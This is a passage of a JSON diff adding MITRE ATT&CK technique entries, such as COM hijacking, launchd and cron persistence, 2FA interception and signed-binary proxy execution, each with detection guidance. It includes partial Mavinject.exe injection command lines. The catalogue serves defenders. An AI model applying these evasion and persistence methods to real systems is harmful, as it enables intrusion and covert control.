information over the network. \n\n===Windows===\n\nUtilities and commands that acquire this information include netstat, \"net use,\" and \"net session\" with Net.\n\n===Mac and Linux ===\n\nIn Mac and Linux, netstat and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to \"net session\".\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator", + "value": "System Network Connections Discovery - T1049", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1049" + ], + "external_id": "T1049", + "kill_chain": [ + "mitre-attack:enterprise-attack:discovery" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "7e150503-88e7-4861-866b-ff1ac82c4475" + }, + { + "description": "On Linux and Apple systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike Scheduled Task on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).\n\n===cron===\n\nSystem-wide cron jobs are installed by modifying /etc/crontab file, /etc/cron.d/ directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on Mac and Linux systems.\n\nThose methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.\n\n===at===\n\nThe at program is another means on Linux-based systems, including Mac, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.\n\n===launchd===\n\nEach launchd job is described by a different configuration property list (plist) file similar to Launch Daemon or Launch Agent, except there is an additional key called StartCalendarInterval with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.\n\nDetection: Legitimate scheduled jobs may be created during installation of new software or through administration functions. Jobs scheduled with launchd and cron can be monitored from their respective utilities to list out detailed information about the jobs. Monitor process execution resulting from launchd and cron tasks to look for unusual or unknown applications and behavior.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring\n\nPermissions Required: Administrator, User, root\n\nContributors: Anastasios Pingios", + "value": "Local Job Scheduling - T1168", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1168", + "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html", + "http://www.thesafemac.com/new-signed-malware-called-janicab/", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", + "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf", + "https://linux.die.net/man/5/crontab", + "https://linux.die.net/man/1/at", + "https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/" + ], + "external_id": "T1168", + "kill_chain": [ + "mitre-attack:enterprise-attack:persistence", + "mitre-attack:enterprise-attack:execution" + ], + "mitre_data_sources": [ + "File monitoring", + "Process Monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS" + ] + }, + "uuid": "c0a384a4-9a25-40e1-97b6-458388474bc8" + }, + { + "description": "Use of two- or multifactor authentication is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. Adversaries may target authentication mechanisms, such as smart cards, to gain access to systems, services, and network resources.\n\nIf a smart card is used for two-factor authentication (2FA), then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nOther methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)\n\nOther hardware tokens, such as RSA SecurID, require the adversary to have access to the physical device or the seed and algorithm in addition to the corresponding credentials.\n\nDetection: Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.\n\nPlatforms: Linux, macOS, Windows\n\nPermissions Required: Administrator, SYSTEM\n\nSystem Requirements: Smart card Proxy: Use of smart cards for single or multifactor authentication to access to network resources. Attached smart card reader with card inserted.\n\nOut-of-band one-time code: Access to the device, service, or communications to intercept the one-time code.\n\nHardware token: Access to the seed and algorithm of generating one-time codes.\n\nContributors: John Lambert, Microsoft Threat Intelligence Center", + "value": "Two-Factor Authentication Interception - T1111", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1111", + "https://dl.mandiant.com/EE/assets/PDF%20MTrends%202011.pdf", + "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf" + ], + "external_id": "T1111", + "kill_chain": [ + "mitre-attack:enterprise-attack:credential-access" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "dd43c543-bb85-4a6f-aa6e-160d90d06a49" + }, + { + "description": "Adversary tools may directly use the Windows application programming interface (API) to execute binaries. Functions such as the Windows API CreateProcess will allow programs and scripts to start other processes with proper path and argument parameters. (Citation: Microsoft CreateProcess)\n\nAdditional Windows API calls that can be used to execute binaries include: (Citation: Kanthak Verifier)\n\n*CreateProcessA() and CreateProcessW(),\n*CreateProcessAsUserA() and CreateProcessAsUserW(),\n*CreateProcessInternalA() and CreateProcessInternalW(),\n*CreateProcessWithLogonW(), CreateProcessWithTokenW(),\n*LoadLibraryA() and LoadLibraryW(),\n*LoadLibraryExA() and LoadLibraryExW(),\n*LoadModule(),\n*LoadPackagedLibrary(),\n*WinExec(),\n*ShellExecuteA() and ShellExecuteW(),\n*ShellExecuteExA() and ShellExecuteExW()\n\nDetection: Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows API functions such as CreateProcess are common and difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient.\n\nPlatforms: Windows\n\nData Sources: API monitoring, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nRemote Support: No\n\nContributors: Stefan Kanthak", + "value": "Execution through API - T1106", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1106", + "http://msdn.microsoft.com/en-us/library/ms682425", + "https://skanthak.homepage.t-online.de/verifier.html" + ], + "external_id": "T1106", + "kill_chain": [ + "mitre-attack:enterprise-attack:execution" + ], + "mitre_data_sources": [ + "API monitoring", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670" + }, + { + "description": "The (Citation: Microsoft Component Object Model) (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.\n\nDetection: There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing know binary paths with unknown paths. Even though some third party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\. (Citation: Endgame COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, DLL monitoring, Loaded DLLs\n\nDefense Bypassed: Autoruns Analysis\n\nPermissions Required: User\n\nContributors: ENDGAME", + "value": "Component Object Model Hijacking - T1122", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1122", + "https://msdn.microsoft.com/library/ms694363.aspx", + "https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence", + "https://www.endgame.com/blog/how-hunt-detecting-persistence-evasion-com" + ], + "external_id": "T1122", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion", + "mitre-attack:enterprise-attack:persistence" + ], + "mitre_data_sources": [ + "Windows Registry", + "DLL monitoring", + "Loaded DLLs" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "9b52fca7-1a36-4da0-b62d-da5bd83b4d69" + }, + { + "description": "Adversaries may collect data stored in the Windows clipboard from users copying information within or between applications. \n\n===Windows===\n\nApplications can access clipboard data by using the Windows API. (Citation: MSDN Clipboard) \n\n===Mac===\n\nOSX provides a native command, pbpaste, to grab clipboard contents (Citation: Operating with EmPyre).\n\nDetection: Access to the clipboard is a legitimate function of many applications on a Windows system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring", + "value": "Clipboard Data - T1115", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1115", + "https://msdn.microsoft.com/en-us/library/ms649012", + "http://www.rvrsh3ll.net/blog/empyre/operating-with-empyre/" + ], + "external_id": "T1115", + "kill_chain": [ + "mitre-attack:enterprise-attack:collection" + ], + "mitre_data_sources": [ + "API monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f" + }, + { + "description": "The configurations for how applications run on macOS and OS X are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window (Citation: Antiquated Mac Malware).\n\nDetection: Plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the apple.awt.UIElement or any other suspicious plist tag in plist files and flag them.\n\nPlatforms: macOS\n\nData Sources: File monitoring\n\nPermissions Required: User", + "value": "Hidden Window - T1143", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1143", + "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/" + ], + "external_id": "T1143", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion" + ], + "mitre_data_sources": [ + "File monitoring" + ], + "mitre_platforms": [ + "macOS" + ] + }, + "uuid": "04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf" + }, + { + "description": "Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.\n\nDetection: If SSL inspection is in place or the traffic is not encrypted, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blacklist or whitelist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: SSL/TLS inspection, Packet capture\n\nRequires Network: Yes\n\nContributors: Matt Kelly, @breakersall", + "value": "Domain Fronting - T1172", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1172", + "http://www.icir.org/vern/papers/meek-PETS-2015.pdf" + ], + "external_id": "T1172", + "kill_chain": [ + "mitre-attack:enterprise-attack:command-and-control" + ], + "mitre_data_sources": [ + "SSL/TLS inspection", + "Packet capture" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "1ce03c65-5946-4ac9-9d4d-66db87e024bd" + }, + { + "description": "As of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary\u2019s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn\u2019t know anything was different (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.\n\nDetection: Determining the original entry point for a binary is difficult, but checksum and signature verification is very possible. Modifying the LC_MAIN entry point or adding in an additional LC_MAIN entry point invalidates the signature for the file and can be detected. Collect running process information and compare against known applications to look for suspicious behavior.\n\nPlatforms: macOS\n\nData Sources: Binary file metadata, Malware reverse engineering, Process Monitoring\n\nDefense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path\n\nPermissions Required: User, Administrator", + "value": "LC_MAIN Hijacking - T1149", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1149", + "https://assets.documentcloud.org/documents/2459197/bit9-carbon-black-threat-research-report-2015.pdf", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + ], + "external_id": "T1149", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Binary file metadata", + "Malware reverse engineering", + "Process Monitoring" + ], + "mitre_platforms": [ + "macOS" + ] + }, + "uuid": "a0a189c8-d3bd-4991-bf6f-153d185ee373" + }, + { + "description": "Binaries signed with trusted digital certificates can execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application whitelisting and signature validation on systems. This technique accounts for proxy execution methods that are not already accounted for within the existing techniques.\n\n===Mavinject.exe===\nMavinject.exe is a Windows utility that allows for code execution. Mavinject can be used to input a DLL into a running process. (Citation: Twitter gN3mes1s Status Update MavInject32)\n\n\"C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe\" /INJECTRUNNING \nC:\\Windows\\system32\\mavinject.exe /INJECTRUNNING \n\n===SyncAppvPublishingServer.exe===\nSyncAppvPublishingServer.exe can be used to run powershell scripts without executing powershell.exe. (Citation: Twitter monoxgas Status Update SyncAppvPublishingServer)\n\nSeveral others binaries exist that may be used to perform similar behavior. (Citation: GitHub Ultimate AppLocker Bypass List)\n\nDetection: Monitor processes and command-line parameters for signed binaries that may be used to proxy execution of malicious files. Correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters\n\nDefense Bypassed: Application whitelisting, Digital Certificate Validation\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Praetorian", + "value": "Signed Binary Proxy Execution - T1218", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1218", + "https://twitter.com/gn3mes1s/status/941315826107510784", + "https://twitter.com/monoxgas/status/895045566090010624", + "https://github.com/api0cradle/UltimateAppLockerByPassList" + ], + "external_id": "T1218", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion", + "mitre-attack:enterprise-attack:execution" + ], + "mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "457c7820-d331-465a-915e-42f85500ccc4" + }, + { + "description": "InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe and C:\\Windows\\Microsoft.NET\\Framework64\\v\\InstallUtil.exe. InstallUtil.exe is digitally signed by Microsoft.\n\nAdversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)\n\nDetection: Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters\n\nDefense Bypassed: Process whitelisting\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Casey Smith, Travis Smith, Tripwire", + "value": "InstallUtil - T1118", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1118", + "https://msdn.microsoft.com/en-us/library/50614e95.aspx" + ], + "external_id": "T1118", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion", + "mitre-attack:enterprise-attack:execution" + ], + "mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "f792d02f-813d-402b-86a5-ab98cb391d3b" + }, + { + "description": "Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, commingling legitimate traffic with C2 communications traffic, or using a non-standard data encoding system, such as a modified Base64 encoding for the message body of an HTTP request.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Process use of network, Process monitoring, Network protocol analysis\n\nRequires Network: Yes", + "value": "Data Obfuscation - T1001", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1001", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ], + "external_id": "T1001", + "kill_chain": [ + "mitre-attack:enterprise-attack:command-and-control" + ], + "mitre_data_sources": [ + "Packet capture", + "Process use of network", + "Process monitoring", + "Network protocol analysis" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842" + }, + { + "description": "Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use Masquerading to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.\n\nDetection: Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator\n\nContributors: Travis Smith, Tripwire", + "value": "Shortcut Modification - T1023", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1023" + ], + "external_id": "T1023", + "kill_chain": [ + "mitre-attack:enterprise-attack:persistence" + ], + "mitre_data_sources": [ + "File monitoring", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810" + }, + { + "description": "Per Apple\u2019s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in /System/Library/LaunchAgents, /Library/LaunchAgents, and $HOME/Library/LaunchAgents (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).\n \nAdversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user\u2019s directory structure) or when any user logs in (which requires administrator privileges).\n\nDetection: Monitor Launch Agent creation through additional plist files and utilities such as Objective-See\u2019s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.\n\nPlatforms: macOS\n\nData Sources: File monitoring, Process Monitoring\n\nPermissions Required: User, Administrator", + "value": "Launch Agent - T1159", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1159", + "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/", + "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", + "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/", + "https://www.synack.com/wp-content/uploads/2016/03/RSA%20OSX%20Malware.pdf", + "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/", + "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update", + "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + ], + "external_id": "T1159", + "kill_chain": [ + "mitre-attack:enterprise-attack:persistence" + ], + "mitre_data_sources": [ + "File monitoring", + "Process Monitoring" + ], + "mitre_platforms": [ + "macOS" + ] + }, + "uuid": "dd901512-6e37-4155-943b-453e3777b125" + }, + { + "description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.\n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and Deobfuscate/Decode Files or Information for User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.\n\nPortions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)\n\nAdversaries may also obfuscate commands executed from payloads or directly via a Command-Line Interface. Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and whitelisting mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: PaloAlto EncodedCommand March 2017)\n\nAnother example of obfuscation is through the use of steganography, a technique of hiding messages or code in images, audio tracks, video clips, or text files. One of the first known and reported adversaries that used steganography activity surrounding Invoke-PSImage. The Duqu malware encrypted the gathered information from a victim's system and hid it into an image followed by exfiltrating the image to a C2 server. (Citation: Wikipedia Duqu) By the end of 2017, an adversary group used Invoke-PSImage to hide PowerShell commands in an image file (png) and execute the code on a victim's system. In this particular case the PowerShell code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary. (Citation: McAfee Malicious Doc Targets Pyeongchang Olympics)\n\nDetection: Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system).\n\nFlag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''\"'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016)\n\nObfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network protocol analysis, Process use of network, Binary file metadata, File monitoring, Malware reverse engineering, Process command-line parameters, Environment variable, Process Monitoring, Windows event logs, Network intrusion detection system, Email gateway, SSL/TLS inspection\n\nDefense Bypassed: Host forensic analysis, Signature-based detection, Host intrusion prevention systems, Application whitelisting, Process whitelisting, Log analysis, Whitelisting by file name or path\n\nContributors: Red Canary, Christiaan Beek, @ChristiaanBeek", + "value": "Obfuscated Files or Information - T1027", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1027", + "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/", + "https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/", + "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/", + "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html", + "https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf", + "https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/", + "https://en.wikipedia.org/wiki/Duqu", + "https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/", + "https://github.com/danielbohannon/Revoke-Obfuscation", + "https://github.com/itsreallynick/office-crackros" + ], + "external_id": "T1027", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Network protocol analysis", + "Process use of network", + "Binary file metadata", + "File monitoring", + "Malware reverse engineering", + "Process command-line parameters", + "Environment variable", + "Process Monitoring", + "Windows event logs", + "Network intrusion detection system", + "Email gateway", + "SSL/TLS inspection" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "description": "An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from Screen Capture due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nIn macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)\n\nDetection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.\n\nPlatforms: Windows, macOS\n\nData Sources: Process monitoring, File monitoring, API monitoring\n\nPermissions Required: User\n\nContributors: Praetorian", + "value": "Video Capture - T1125", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1125", + "https://objective-see.com/blog/blog%200x25.html" + ], + "external_id": "T1125", + "kill_chain": [ + "mitre-attack:enterprise-attack:collection" + ], + "mitre_data_sources": [ + "Process monitoring", + "File monitoring", + "API monitoring" + ], + "mitre_platforms": [ + "Windows", + "macOS" + ] + }, + "uuid": "6faf650d-bf31-4eb4-802d-1000cf38efaf" + }, + { + "description": "Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed.\n\nOne variant is for an executable to be placed in a commonly trusted directory or given the name of a legitimate, trusted program. Alternatively, the filename given may be a close approximation of legitimate programs. This is done to bypass tools that trust executables by relying on file name or path, as well as to deceive defenders and system administrators into thinking a file is benign by associating the name with something that is thought to be legitimate.\n\n\n===Windows===\nIn another variation of this technique, an adversary may use a renamed copy of a legitimate utility, such as rundll32.exe. (Citation: Endgame Masquerade Ball) An alternative case occurs when a legitimate utility is moved to a different directory and also renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)\n\nAn example of abuse of trusted locations in Windows would be the C:\\Windows\\System32 directory. Examples of trusted binary names that can be given to malicious binares include \"explorer.exe\" and \"svchost.exe\".\n\n===Linux===\nAnother variation of this technique includes malicious binaries changing the name of their 